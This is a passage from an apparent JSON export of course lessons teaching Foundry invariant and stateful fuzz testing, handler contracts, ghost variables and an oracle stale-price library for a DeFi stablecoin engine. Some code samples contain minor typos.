handlers.\n\nTo set up your test, create a new test directory within your contract's root directory and add two test files; an invariants test file ( `InvariantsTest.t.sol` ) and a handlers file ( `Handlers.t.sol` ).\n\nIn your invariants test file, you will specify the properties of your system that should remain unaltered or invariant. Handlers, on the other hand, will ensure that these properties are observed in an orderly manner without wastage.\n\n### Invariants and Handlers Uncovered\n\nLet's take a deeper dive into our two new scripts — the invariants and handlers.\n\nYour invariants test file should look something like this:\n\n```js\n//SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {StdInvariant} from \"forge-std/StdInvariant.sol\";\nimport {DeployDSC} from \"../../script/DeployDSC.s.sol\";\nimport {DSCEngine} from \"../../src/DSCEngine.sol\";\nimport {DecentralizedStableCoin} from \"../../src/DecentralizedStableCoin.sol\";\nimport {HelperConfig} from \"../../script/HelperConfig.s.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\ncontract OpenInvariantsTest is StdInvariant, Test {\n DeployDSC deployer;\n DSCEngine dsce;\n HelperConfig config;\n address weth;\n address wbtc;\n\n function setUp() external {\n deployer = new DeployDSC();\n (dsc,dsc,config) = deployer.run();\n (,, weth, wbtc,) = config.activeNetworkConfig();\n targetContract(address(dsce));\n }\n\n function invariant_protocolMustHaveMoreValueThanTotalSupply() public view{\n //get the value of all the collateral in the protocol\n //compare it to all the debt (dsc)\n uint256 totalSupply = dsc.totalSupply();\n uint256 totalWethDeposited = IERC20(weth).balanceOf(address(dsce));\n uint256 totalBtcDeposited = IERC20(wbtc).balanceOf(address(dsce));\n\n uint256 wethValue = dsce.getUsdValue(weth, totalWethDeposited);\n uint256 wbtcValue = dsce.getUsdValue(wbtc, totalBtcDeposited);\n\n assert(wethValue + wbtcValue > totalSupply);\n }\n```\n\nHere, `totalSupply()` represents one such property that should always hold, geared towards maintaining the total supply of tokens.\n\nNow, let's move on to the handlers file. The handlers help you make efficient test runs and avoid wastage, by ensuring the invariants are checked in a specific order.\n\nFor instance, if you want to test the deposit of a token, the handlers ensure that the token is approved before depositing; this helps to avoid a wasted test run.\n\n### Using Invariant in Foundry\n\nIn the Foundry docs, we can see, the [invariant](https://book.getfoundry.sh/forge/invariant-testing) section allows you to\n\n- set the total number of `runs` for a test.\n- specify `depth`, representing the number of calls in a single run.\n- use `fail_on_revert`, to indicate whether the test should fail upon encountering a revert.\n\nWe can include the following in our `foundry.toml`:\n\n```js\n[invariant];\nruns = 128;\ndepth = 128;\nfail_on_revert = true;\n```\n\nLet's dissect the `fail_on_revert` keyword a bit further. By setting it to false, the test runner tolerates transaction reverts without causing the entire test run to fail. This is useful when you're first getting started or dealing with larger and more complex systems, where not all calls might make sense. This aligns better with the spirit of fuzz testing, where the tests can make wild attempts at breaking the invariants and those that fail with a revert are quietly ignored.\n\nOn the other hand, if set to true, any transaction that reverts is immediately flagged as a test failure. This is useful when you want a stricter assertion of behavioral norms and to quickly identify the condition that’s causing the revert.\n\nHere's some free advice for you: don't get overly excited if your tests pass initially. Instead, aim to find issues, by increasing the number of runs and depth, thus giving our fuzz testing more opportunities to find any hidden bugs.\n\nYou're also likely to find calls that reverted in the process, which should ring some alarm bells and prompt you to look into what could have caused these to fail. This is a easier job with `fail_on_revert: true`.\n\nThe reason for most reverts is that the fuzz may have tested a function with random values that didn't make sense in that context. To prevent such erroneous testing, this is where handlers come knocking once more, as they ensure your functions are called with values in the correct order and format.\n\n## In Conclusion, Invariance and Handlers are Your Allies\n\nThe benefit of working with handlers is that they guide the testing process in a way that makes sense within the context of your protocol, unlike traditional fuzz testing which can end up causing a multitude of function calls in random and improbable combinations.\n\nSo, one of our key takeaways from this deep dive into advanced testing practices is the utility and effectiveness of invariant testing with handlers. As our contract systems become more complex, traditional methods of fuzz testing become increasingly inefficient and can lead to significantly wastage.\n\nSo let's embrace the utility of handlers and tailor our testing specifically to the nuances of our contracts to get the most out of the process and shine a light on any hidden bugs that may be lurking in the shadows.\n\nI hope this guide sheds some light on fuzz and invariant testing, their upsides, and downsides, and how to get started writing such tests. I’ll love to hear how implementing these testing strategies work out for you. Keep coding!\n", + "updates": [] + }, + { + "lessonId": "66e7be7e-257f-49a6-b4d2-d1dbf8806564", + "number": 19, + "title": "Create the fuzz tests handler pt.2", + "slug": "create-fuzz-tests-handler-part-2", + "folderName": "19-defi-handler-stateful-fuzz-tests", + "description": "In Part 2, the focus shifts to crafting optimized handlers for valid function calls in smart contracts. The lesson covers the groundwork of creating function handlers and improving test efficiency through valid and efficient function calls.", + "duration": 20, + "videoUrl": "dohUk9vWfHAjPSXZhuG4UB1yHWQFYtf74UVWUsfd568", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/19-defi-handler-stateful-fuzz-tests/+page.md", + "markdownContent": "---\ntitle: Handler Fuzz Tests\n---\n\n_Follow along the course with this video._\n\n\n\n# Smart Contract Fuzz Testing: Crafting Handlers for Optimized Valid Calls\n\nSoftware fuzz testing employs a variety of techniques, one of which is handling functions in a manner to ensure valid calls. This section takes you on a comprehensive examination on how to create handlers for smart contracts that will allow you to make valid calls and scan for potential vulnerabilities in your contracts.\n\n## Establishing the Groundwork\n\nIn simple terms, handlers are scripts we create that handle the way we make calls to the Decentralized Stablecoin Engine (`dsce`) - only enabling calls under the condition that the required variables or functions for the call are available and valid.\n\nThis minimizes the chance of wasted function calls which attempt to execute tasks with no valid foundation.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {DSCEngine} from \"../../src/DSCEngine.sol\";\nimport {DecentralizedStableCoin} from \"../../src/DecentralizedStableCoin.sol\";\n\ncontract Handler is Test {\n DSCEngine dsce;\n DecentralizedStablecoin dsc;\n\n constructor(DSCEngine _dscEngine, DecentralizedStablecoin _dsc) {\n dsce = _dsce;\n dsc = _dsc;\n }\n}\n```\n\nTo make sure we generate valid calls, we consider several factors. For instance, there's no logic in calling the 'redeemCollateral' function when there is no collateral to redeem. The handler-script becomes a fail-safe mechanism to avoid such redundancies.\n\n## Handling Function Calls\n\nTo guard against invalid random calls, we define how to make function calls in the handler. For example, the `depositCollateral` function should first validate the collateral before calling it.\n\n```js\n...\ncontract Handler is Test {\n ...\n function depositCollateral(address collateral, uint256 amountCollateral) public {\n dsce.depositCollateral(collateral, amountCollateral);\n }\n}\n```\n\nWe need to adjust our `Invariants.t.sol` script to leverage the handler contract we're creating. To do this, we change the target contract the test script is referencing for it's fuzz testing:\n\n```js\n...\nimport {Handler} from \"./Handler.t.sol\";\n...\ncontract OpenInvariantsTest is StdInvariant, Test {\n DeployDSC deployer;\n DSCEngine dsce;\n HelperConfig config;\n address weth;\n address wbtc;\n Handler handler;\n\n function setUp() external {\n deployer = new DeployDSC();\n (dsc,dsc,config) = deployer.run();\n (,, weth, wbtc,) = config.activeNetworkConfig();\n handler = new Handler(dsce,dsc);\n targetContract(address(handler));\n }\n...\n```\n\nNow, when we run our invariant tests, they will target our `Handler` and only call the functions we've specified within the `Handler` contract, in this case `depositCollateral`. However, the function is still being called randomly, with random data and we can do better. We know that random data for the collateral addresses is going to fail, so we can mitigate unnecessary calls be providing our function with seed addresses:\n\n```js\n...\nimport {ERC20Mock} from \"@openzeppelin/contracts/mocks/ERC20Mock.sol\";\n...\ncontract Handler is Test {\n ...\n ERC20Mock weth;\n ERC20Mock wbtc;\n ...\n constructor (DSCEngine _dscEngine, DecentralizedStableCoin _dsc){\n dsce = _dsce;\n dsc = _dsc;\n\n address[] memory collateralTokens = dsce.getCollateralTokens();\n weth = ERC20Mock(collateralTokens[0]);\n wbtc = ERC20Mock(collateralToken[1]);\n }\n\n function depositCollateral(uint256 collateralSeed, uint256 amountCollateral) public {\n ERC20Mock collateral = _getCollateralFromSeed(collateralSeed)\n dsce.depositCollateral(address(collateral), amountCollateral);\n }\n\n // Helper Functions\n function _getCollateralFromSeed(uint256 collateralSeed) private view returns (ERC20Mock){\n if (collateralSeed % 2 == 0){\n return weth;\n }\n return wbtc;\n }\n}\n```\n\nWhew, that's a lot! Now when we call the tests in our handler, the `depositCollateral` functon will only use valid addressed for collateral provided by our `_getCollateralFromSeed()` function\n\n## Improving Efficiency\n\nThe key to handling function calls is efficiency. Unnecessary or invalid function calls increase iteration loops, resulting in performance issues.\n\nAs you gradually cut down on unnecessary calls, monitor your error reports. Configuring the `failOnRevert` parameter to `true` helps you identify why a test is failing.\n\nLastly, remember not to artificially narrow down your handler function to a state where valid edge cases get overlooked.\n\n\n\n## Wrapping Up\n\nIn conclusion, the vital role of handler-functions in making valid calls during fuzz testing is to optimize performance and catch potential vulnerabilities in the smart contracts. The process demands a continuous balance between weeding out invalid calls and maintaining allowance for valid edge cases.\n\nHowever, always aim for a minimal rejection rate i.e., the `failOnRevert` parameter set to `false`. A perfect handler function will maximize successful runs and reduce reverts to zero.\n\nYou may need to adjust the deposit size to a feasible limit to prevent an overflow when depositing collateral. Ideally, the collateral deposited is lower than the maximum valid deposit size. After completion, every function call should pass successfully, signifying a well-secured contract with high potential for longevity.\n\nHappy testing!\n", + "updates": [] + }, + { + "lessonId": "1e5c8f0c-1f20-48bb-ad1f-553b3efa7759", + "number": 20, + "title": "Create the collateral redeemal handler", + "slug": "defi-handler-redeeming-collateral", + "folderName": "20-defi-handler-redeeming-collateral", + "description": "This lesson delves into the mechanisms of handling collateral in blockchain transactions. It focuses on the implementation and testing of functions for depositing and redeeming collateral, emphasizing the importance of validity checks.", + "duration": 6, + "videoUrl": "r4d9lct625a02cT29iprU5SylyFuzHI6qbgSiXjxxPIM", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/20-defi-handler-redeeming-collateral/+page.md", + "markdownContent": "---\ntitle: Handler - Redeeming Collateral\n---\n\n_Follow along the course with this video._\n\n\n\n# Handling Collaterals in Blockchain Transactions\n\nToday we will dive into blockchain transactions and the handling of collaterals within those transactions. Specifically the deposit and redemption process of the collateral will be our focus. We will decipher a function for depositing collateral and subsequently a validation function for redeeming it. Details of implementing these functions and some interesting test cases will also be discussed.\n\n## Implementation : Collateral Deposit Function\n\nThis function ensures that the submitted collateral is a valid deposit.\n\n```js\n...\ncontract Handler is Test {\n ...\n function depositCollateral(uint256 collateralSeed, uint256 amountCollateral) public {\n ERC20Mock collateral = _getCollateralFromSeed(collateralSeed)\n dsce.depositCollateral(address(collateral), amountCollateral);\n }\n ...\n}\n```\n\nIn this function, the type of collateral to deposit and amount of collateral to deposit are two required inputs which are Blockchain's unsigned integer represented in form of function arguments.\n\n## Implementation : Collateral Redemption Function\n\nAfter defining the deposit function, let's talk about the collateral redemption function. It's the process of retrieving a specific type of collateral from the deposited pool. The `redeemCollateral()` function, similar to the deposit function, takes an argument that specifies the type of collateral to redeem.\n\nThe function below shows the implementation of this process:\n\n```js\n function redeemCollateral(uint256 collateralSeed, uint256 amountCollateral) public {\n ERC20Mock collateral = _getCollateralFromSeed(collateralSeed);\n dscEngine.redeemCollateral(address(collateral), amountCollateral);\n }\n```\n\n\n\n```js\n...\n function getCollateralBalanceOfUser(address user, address token) external view returns(uint256){\n return s_collateralDeposited[user][token];\n }\n...\n```\n\n## Implementing Validity Checks\n\nThe `redeemCollateral()` function must have an the above check for validity. This is to ensure that the redemption request is not more than what the user has deposited. We do this by bounding the redemption amount between one and the max collateral to redeem.\n\n```js\n ...\n uint256 maxCollateral = dscEngine.getCollateralBalanceOfUser(msg.sender, address(collateral));\n\n amountCollateral = bound(amountCollateral, 1, maxCollateral);\n if (amountCollateral == 0) {\n return;\n }\n ...\n```\n\nThe whole function should look like this:\n\n```js\n ...\n function redeemCollateral(uint256 collateralSeed, uint256 amountCollateral) public {\n ERC20Mock collateral = _getCollateralFromSeed(collateralSeed);\n uint256 maxCollateral = dscEngine.getCollateralBalanceOfUser(msg.sender, address(collateral));\n\n amountCollateral = bound(amountCollateral, 1, maxCollateral);\n if (amountCollateral == 0) {\n return;\n }\n dscEngine.redeemCollateral(address(collateral), amountCollateral);\n }\n ...\n```\n\n## Exploring Edge Cases and Fixing Code Breaks\n\nRunning the above function may result in throwing an edge case as an error. In our example, it exposed a mistake in the bounding process. If the max collateral to redeem is zero, the system breaks. A solution to this is to keep zero as a valid input.\n\nThen, we need to check if the collateral amount after bounding is equal to zero. If yes, we can simply return, else we would call the redeem collateral function.\n\n```js\namountCollateral = bound(amountCollateral, 0, maxCollateral);\nif (amountCollateral == 0) {\n return;\n}\n```\n\n## Enhancing Adequacy of Test Cases with Fail and Revert\n\nSo far, we have ensured that the transactions are operating as intended. However, to stream out all possible scenarios for handling Collaterals, failing criteria with blanket reverts should be avoided. Inclusion of test cases which do not fail on revert allows broader coverage of potential edge cases and glitches in transaction handling. Consideration of such trade-off prospects in the design of fail criteria lends to the overall system robustness.\n\nIn conclusion, handling collaterals effectively necessitates robust deposit and redemption functions, comprehensive edge testing and safeguards for potential system inadequacy through well-thought strategies. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "37d41dd8-7170-4be4-aeb9-4e85822650f6", + "number": 21, + "title": "Create the mint handler", + "slug": "defi-handler-minting-dsc", + "folderName": "21-defi-handler-minting-dsc", + "description": "Lesson 21 guides through testing the 'mintDsc()' function in DSCEngine. It involves creating a handler function to ensure safe minting of DSC, considering the user's health factor and the system's overall stability.", + "duration": 6, + "videoUrl": "SzNVux01Xv5rnRxvGJ5xLSnPIi01UAB8LNZ9TmVHPQFm00", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/21-defi-handler-minting-dsc/+page.md", + "markdownContent": "---\ntitle: Handler - Minting DSC\n---\n\n_Follow along the course with this video._\n\n\n\n# Decoding DSC: A Journey into testing the \"Mint Function\"\n\nIn our previous parts, we discussed the concepts of fuzz testing our `depositCollateral()` and `redeemCollateral()` functions. Today, we'll be walking you through one of the key functions we need to test, the `mintDsc()` function.\n\n## A Walk Through the Mint Function Test\n\nOur `mintDsc()` function within `DSCEngine.sol` takes a `uint256 amount`. So our handler test will do the same, we also have to restrict our handler function to avoid reverts! Our `mintDsc()` function currently requires that `amount` not be equal to zero, and that the amount minted, does not break the user's `Health Factor`. Let's look at how this handler function is built:\n\n```js\n...\ncontract Handler is Test {\n ...\n function mintDsc(uint256 amountDsc) public {\n vm.prank(dsc.owner());\n dsc.mint(msg.sender, amountDsc);\n }\n ...\n```\n\nThe above handler function ensures we're minting a random amount of DSC. But, there's a catch, we can't just let \"amount\" be an undefined value. It can't be zero, and the user should ideally have a stable health factor.\n\n```js\namount = bound(amountDsc, 1, MAX_DEPOSIT_SIZE);\n```\n\nThis adjustment makes sure the \"amount\" sits in between 1 and the maximum deposit size. Now let's make sure we aren't breaking the user's `Health Factor` with this call. We can do this by calling the `getAccountInformation()` function and checking what's returned with what the user is trying to mint:\n\n```js\n...\ncontract Handler is Test {\n ...\n function mintDsc(uint256 amount) public {\n (uint256 totalDscMinted, uint256 collateralValueInUsd) = dsce.getAccountInformation(msg.sender);\n\n int256 maxDscToMint = (int256(collateralValueInUsd)/2) - int256(totalDscMinted);\n if(maxDscToMint < 0){\n return;\n }\n amount = bound(amount, 0, uint256(maxDscToMint));\n if (amount == 0){\n return;\n }\n\n vm.startPrank(msg.sender);\n dsce.mintDsc(amount);\n vm.stopPrank();\n }\n}\n```\n\nIn the above function, we are constraining the amount minted to be greater than zero before minting any DSC. In addition to this, we're checking the user's `totalDscMinted` vs their `collateralValueInUsd` to ensure their account's `health factor` is not at risk and they don't risk liquidation.\n\n## Victory Looks Like This!\n\nLo and behold, let's run the functional mint DSC and observe the result.\n\n\n\nYou should notice that we've performed multiple calls without any reverts, and that's exactly what success looks like! Your mint function is now up and running and ready to increase the supply of DSC.\n\nStay tuned for our next adventure! We hope you are now more comfortable with testing the mechanism used for injecting tokens into the DSC ecosystem.\n\n\n", + "updates": [] + }, + { + "lessonId": "399e5ce5-9d20-42f0-ac73-202b21e53bd0", + "number": 22, + "title": "Debugging the fuzz tests handler", + "slug": "defi-handler-fuzz-debugging", + "folderName": "22-defi-handler-fuzz-debugging", + "description": "This lesson explores debugging strategies for smart contracts, particularly focusing on the use of 'ghost variables' to track function calls. It provides insights into handling errors and refining the testing process for better outcomes.", + "duration": 9, + "videoUrl": "OvQlzlXLUvoQM01YYGr01uHioUspMf5rxleFBReLxVjyM", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/22-defi-handler-fuzz-debugging/+page.md", + "markdownContent": "---\ntitle: Handler - Stateful Fuzz Test Debugging\n---\n\n_Follow along the course with this video._\n\n\n\n# Debugging Your Code Using Ghost Variables\n\nRecently, I was stuck in frustrating debugging mode, continually getting a 'total supply of zero' message, even though there was plenty of WETH and wrapped bitcoin about. The questions plaguing my attempts were: are we ever calling this function? Why are we getting a total supply of zero all the time? Eventually, I managed to crack the nut and here's how I did it, featuring a mysterious ghost variable, and other coding challenges to wrap your brain around.\n\n## What are Ghost Variables?\n\nIf you have ever wondered if your function is not being called, then it's time to introduce a `ghost variable`. Although it sounds incredibly spooky, they are a practical way to track if a function is even being called. Here's how to use one. We want to create a variable named `timesMintIsCalled` which we use in our `Handler.t.sol` to track whether or not our `_mintDsc()` function is being called.\n\n```js\n...\ncontract Handler is Test {\n ...\n uint256 public timesMintIsCalled;\n ...\n function mintDsc(uint256 amount) public {\n (uint256 totalDscMinted, uint256 collateralValueInUsd) = dsce.getAccountInformation(msg.sender);\n\n int256 maxDscToMint = (int256(collateralValueInUsd)/2) - int256(totalDscMinted);\n if(maxDscToMint < 0){\n return;\n }\n amount = bound(amount, 0, uint256(maxDscToMint));\n if (amount == 0){\n return;\n }\n\n vm.startPrank(msg.sender);\n dsce.mintDsc(amount);\n vm.stopPrank();\n timesMintIsCalled++;\n }\n}\n```\n\nThen, when you run your test once again, you might see that `mintDsc()` is never called. Baffling indeed, but it might be because of a hit return that is stopping the call prematurely.\n\nIt's crucial to debug this situation, and there are various methods you could employ to achieve that. Personally, I found the most successful way through moving the `timesMintIsCalled++;` further upwards in the code until I found the line it was breaking on. Then, by console logging all the values of the variables around, I unearthed some very interesting insights, which brings us onto the second part:\n\n## The Importance of the Message Sender\n\n\n\nAnd, how does one keep a track of users who have deposited collateral? One way is, we can create an array of addresses in `Handler.t.sol` and push to this array `msg.sender` each time collateral is deposited. We'll then use this array in our `mintDsc()` function as a seed.\n\n```js\n...\ncontract Handler is Test {\n ...\n uint96 public constant MAX_DEPOSIT_SIZE = type(uint96).max;\n uint256 public timesMintIsCalled;\n address[] public usersWithCollateralDeposited;\n ...\n function depositCollateral(uint256 collateralSeed, uint256 amountCollateral) public {\n ERC20Mock collateral = _getCollateralFromSeed(collateralSeed)\n amountCollateral = bound(amountCollateral, 1, MAX_DEPOSIT_SIZE);\n dsce.depositCollateral(address(collateral), amountCollateral);\n\n vm.startPrank(msg.sender);\n collateral.mint(msg.sender, amountCollateral);\n collateral.approve(address(dsce), amountCollateral);\n dsce.depositCollateral(address(collateral), amountCollateral);\n vm.stopPrank();\n usersWithCollateralDeposited.push(msg.sender);\n }\n}\n```\n\nNote that this can cause duplicate users by pushing the same address multiple times, but hey, let's keep it simple for now.\n\nNow, back in Mint DSC, you can do something similar to what you did with collateral. Here's a small code snippet to help:\n\n```js\n...\ncontract Handler is Test {\n ...\n function mintDsc(uint256 amount, uint256 addressSeed) public {\n address sender = usersWithDepositedCollateral[addressSeed % usersWithDepositedCollateral.length];\n (uint256 totalDscMinted, uint256 collateralValueInUsd) = dsce.getAccountInformation(sender);\n\n int256 maxDscToMint = (int256(collateralValueInUsd)/2) - int256(totalDscMinted);\n if(maxDscToMint < 0){\n return;\n }\n amount = bound(amount, 0, uint256(maxDscToMint));\n if (amount == 0){\n return;\n }\n\n vm.startPrank(sender);\n dsce.mintDsc(amount);\n vm.stopPrank();\n }\n}\n```\n\nWhen you run the above test, you may get an error...\n\n## Avoid Errors With Some Conditions\n\nIt's also crucial to handle any errors. The error we're seeing is due to our modulo `%` resulting in zero when `usersWithCollateralDeposited.length` is zero. In this case, before the code runs, you can add a condition to return if users with collateral length equals zero. This helps you skip calls where collateral is not deposited.\n\n```js\n...\nfunction mintDsc(uint256 amount, uint256 addressSeed) public {\n if(usersWithDepositedCollateral.length == 0) {\n return;\n }\n ...\n}\n```\n\nAfter these corrections, I found that the total times Mint was called was now 31 and we were getting a total supply. This signaled that the `mintDsc()` function in our handler was now actually working, and we were successfully calling `mintDsc()`!\n\n## Always Check Your Getters\n\nFinally, be sure to always check your getters. It's wise to always include an invariant function `invariant_gettersShouldNotRevert()`. Getters can be inserted here and if any of them revert, that would mean the function broke an invariant.\n\n```js\nfunction invariant_gettersShouldNotRevert() public view {\n ...\n dsce.getLiquidationBonus();\n dsce.getPrecision();\n ...\n}\n```\n\nAnd to make sure you're including everything, you can use something like `forge inspect methods`. This will reveal all methods that this contract has along with its function selectors. Look for all the view functions, and that can be used as a checklist of functions to call on a contract in your tests.\n\nThat's all for today! I hope you found this helpful for debugging your code and understanding better how to navigate the inevitable coding obstacles. Most importantly, remember to enjoy the journey - because that's where the real learning happens.\n", + "updates": [] + }, + { + "lessonId": "aab32068-01bb-469f-8341-d07424a92369", + "number": 23, + "title": "Create the price feed handler", + "slug": "defi-price-feed-handler", + "folderName": "23-defi-price-feed-handling", + "description": "The lesson focuses on integrating price feed updates in smart contract handlers. It covers the creation of functions for updating collateral prices and emphasizes the importance of handling price fluctuations to maintain protocol integrity.", + "duration": 8, + "videoUrl": "Cj01SgwcIx73nh600wsgXpNfajc85shOX45MsclQ01jrmY", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/23-defi-price-feed-handling/+page.md", + "markdownContent": "---\ntitle: Price Feed Handling\n---\n\n_Follow along the course with this video._\n\n\n\n# Enhancing Smart Contracts with Handlers and Invariant Testing In DSC Engine\n\nIn the smart contract world, it's crucial to simulate the entire lifecycle of our contracts. And to achieve this, handlers are a crucial part of the puzzle. However, their utility extends beyond just handling the DSCEngine. In fact, handlers can effectively simulate any contract we want to test on the blockchain.\n\nWhen creating handlers, we often interact with various other contracts. Some of these may include the price feed, the WETH (Wrapped Ether) token, and the wrapped Bitcoin token.\n\n## Introducing Price Feed Updates In Our Handler\n\nGiven their significant impact on the protocol, it's imperative to incorporate price feed updates in our handler. In order to achieve this feat, we start by importing the MockV3Aggregator.\n\n```js\nimport { MockV3Aggregator } from \"mocks/MockV3Aggregator.sol\";\n```\n\nThe MockV3Aggregator has functions that ease the process of updating a price, allowing our protocol to conveniently update prices. Once we have imported the MockV3Aggregator, we can extract the WETH price from our system using the view function `DSE get collateral token price feed()`.\n\nWe can now declare a new public `ethUsdPriceFeed` variable of type `MockV3Aggregator`. Your constructor should look something like this:\n\n```js\n...\nimport { MockV3Aggregator } from \"mocks/MockV3Aggregator.sol\";\n...\ncontract Handler is Test {\n ...\n MockV3Aggregator public ethUsdPriceFeed;\n ...\n constructor(DSCEngine _dscEngine, DecentralizedStableCoin _dsc){\n ...\n ethUsdPriceFeed = MockV3Aggregator(dsce.getCollateralTokenPriceFeed(address(weth)));\n ...\n }\n}\n```\n\nNow that we successfully have the ETH USD price feed, it's time to include a new function in our handler. This will involve updating the collateral price to a given price feed.\n\n```js\nfunction updateUpdateCollateral(uint96 newPrice) public {...}\n```\n\nNext, we need to convert the uint96 to an int256 because price feeds intake int256 data types, then we use this `newPriceInt` to update the price in our `ethUsdPriceFeed`:\n\n```js\nfunction updateUpdateCollateral(uint96 newPrice) public {\n int256 newPriceInt = int256(uint256(newPrice));\n ethUsdPriceFeed.updateAnswer(newPriceInt);\n}\n```\n\nAnd voilà! We now have a function that updates the collateral price in our handler.\n\n## Testing the Handler\n\nOnce our handler is complete, it's time to test it to see how it fares. Will it run smoothly or encounter some errors?\n\nWhen we do run it, you may find it detected a sequence where there was an issue. It indicates a violation of our invariant: the total supply doesn't add up to the sum of the WETH value and Bitcoin value.\n\nOn further inspection of the sequence, we discover a process: first, it deposited some collateral, followed by minting some DSC. Then, it updated the collateral price to a certain value, say 471. This changed the ETH collateral from its existing rate to 471, an immense difference which caused the system to revert. It had minted a humongous amount of DSC which broke the system.\n\nThis is a crucial reminder of the importance of volatility in our system. Our system can easily get busted if the price of an asset plummets or spikes swiftly. So, handling price fluctuations becomes pivotal in maintaining the integrity of the protocol.\n\n\n\nTherefore, it becomes impetrative to revisit our assumptions and protocols when designing the system. For instance, we assumed a liquidation bonus of 10%, and that the collateral always needs to be 200% over collateralized. In case the price drops significantly, resulting in let's say just 50% collateralization, our system breaks and the invariant gets compromised.\n\nTherefore, we should either brainstorm ways to prevent such drastic reductions in collateralization, or acknowledge that this is a recognized loophole, where the protocol can turn worthless if the price fluctuates wildly. While neither seems to be a satisfactory solution, these are challenges we need to keep in mind, thereby proving the supreme importance of invariant tests.\n\n\n\n## Wrapping Up\n\nThere's an exciting journey awaiting us ahead. We have to learn about proper Oracle use and write many more tests (a task we leave up to you!). We also need to prepare ourselves for a smart contract audit. All of this, while juggling with our existing contracts like the decentralized stablecoin.\n\nIt's an exhilarating journey that is all about continuous learning, discovery, and improvements! Stay tuned for more exciting updates in our upcoming blogs.\n", + "updates": [] + }, + { + "lessonId": "6e1c63ff-90a4-43c1-be61-f68f9cb4b376", + "number": 24, + "title": "Manage your oracles connections", + "slug": "managing-oracles-connections", + "folderName": "24-defi-oracle-lib", + "description": "This lesson addresses the implementation and management of Chainlink Price Feeds in DSCEngine. It includes creating a library for ensuring price feed accuracy and discusses the implications of stale prices on the protocol's functionality.", + "duration": 9, + "videoUrl": "g8Y6bv1dQcBXv003wDKr0000dlKmsZh4XjYYMR00eIL3u5w", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/24-defi-oracle-lib/+page.md", + "markdownContent": "---\ntitle: OracleLib\n---\n\n_Follow along the course with this video._\n\n\n\n# Checking Chainlink Price Feeds with DSC Engine\n\nLet's discuss the process of using Chainlink Price Feeds in our `DSCEngine`. When working with Oracles, an assumption that we often make in our protocol is that these price feeds would work seamlessly. However, price feeds are systems just like any other and therefore can have potential glitches. To ensure that our protocol doesn't end up breaking due to a malfunction in the price feed system, we can put some safety checks in our code. This section will guide you through the process of putting some checks on price feeds using a library methodology we developed.\n\n## Setting Up The Library\n\n\n\nLet start by creating a libraries folder. In this folder, we'll make a new contract titled `OracleLib.sol`. The purpose of this contract is to ensure that the prices in the price feed aren't stale. Chainlink price feeds have a unique feature known as the heartbeat, which updates the prices every 3600 seconds.\n\nAn essential check we need to enforce in our contract is that these prices should update every 3600 seconds. If not, our contract should pause its functionality. It's worth noting that by freezing our protocol's functionality, if Chainlink were to explode, that money will be frozen on the protocol. For now we'll recognize this as a known issue and move on.\n\n## Creating The Check Function\n\nIn a more advanced setting, when shifting towards a production product, even the smallest details start to matter more and more. Effective function creation becomes even more critical.\n\nFirst, we create a `staleCheckLatestRoundData()` function. The input parameter will take an `AggregatorV3Interface priceFeed`. This will be a public view function and would return different values like `uint80, int256, uint256, uint256`, and `uint80`.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport {AggregatorV3Interface} from \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\";\n...\nlibrary OracleLib {\n function staleCheckLatestRoundData(AggregatorV3Interface priceFeed) public view returns (uint80, int256, uint256, uint256, uint80){...}\n}\n```\n\nIn this function, we will call `priceFeed.latestRoundData()`. Since each price feed has its own heartbeat, we should ask them what their heartbeat is. For simplicity, we hardcode ours for `three hours`.\n\nWe calculate the seconds since the last price update, and if it's greater than our timeout, we revert with a new error: `Oraclelib__StalePrice()`.\n\n```js\nlibrary OracleLib {\n error OracleLib__StalePrice();\n\n uint256 private constant TIMEOUT = 3 hours;\n\n function staleCheckLatestRoundData(AggregatorV3Interface priceFeed) public view returns (uint80, int256, uint256, uint256, uint80){\n (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound) = priceFeed.latestRoundData();\n\n uint256 secondsSince = block.timestamp - updatedAt;\n if(secondsSince > TIMEOUT) revert OracleLib__StalePrice();\n return (roundId, answer, startedAt, updatedAt, answeredInRound)\n }\n}\n```\n\nNow, in our `DSCEngine`, every time we call `latestRoundData`, we swap it out for `staleCheckLatestRoundData`, thanks to our library.\n\nMake sure to remember to import `Oraclelib` from libraries and to specify the that we're using it for `AggregatorV3Interface`s.\n\n```js\n...\nimport {OracleLib} from \"./libraries/OracleLib.sol\";\n...\ncontract DSCEngine is ReentrancyGuard{\n ...\n using OracleLib for AggregatorV3Interface;\n ...\n function getUsdValue(address token, uint256 amount) public view returns (uint256){\n AggregatorV3Interface priceFeed = AggregatorV3Interace(s_priceeFeeds[token]);\n (, int256 price,,,) = priceFeed.staleCheckLatestRoundData();\n ...\n }\n ...\n}\n```\n\nNote: There are more functions than shown here that will need updating!\n\nOnce all of these changes have been done, run the `forge test` which will run the entire test suite, including the new invariant test suite. Following a successful run, we can conclude that our code is functioning as expected!\n\n## Future Considerations\n\nAlthough we've done a lot of refactoring, there are still several ways the code can be improved. For example, writing additional tests for the contacts. Running `forge coverage` can help identify areas needing improvement.\n\n\n\nLet's mark this as our next step — testing these contracts more thoroughly to ensure that we've covered all the possible edge cases and have robust error-checking before pushing it to production. Until then — happy coding!\n", + "updates": [] + }, + { + "lessonId": "f47144e5-fe2d-4dc1-94d8-ac79b2a044c1", + "number": 25, + "title": "Preparing your protocol for an audit", + "slug": "preparing-your-protocol-for-an-audit", + "folderName": "25-defi-audit-prep", + "description": "This lesson provides a comprehensive guide on preparing smart contracts for audits. It emphasizes the importance of audits, offers a readiness checklist, and introduces the concept", + "duration": 2, + "videoUrl": "dROpFGHP01O9aMaAzrZo5uWSelx2M5RrcxN1fKjOUEWI", + "rawMarkdownUrl": 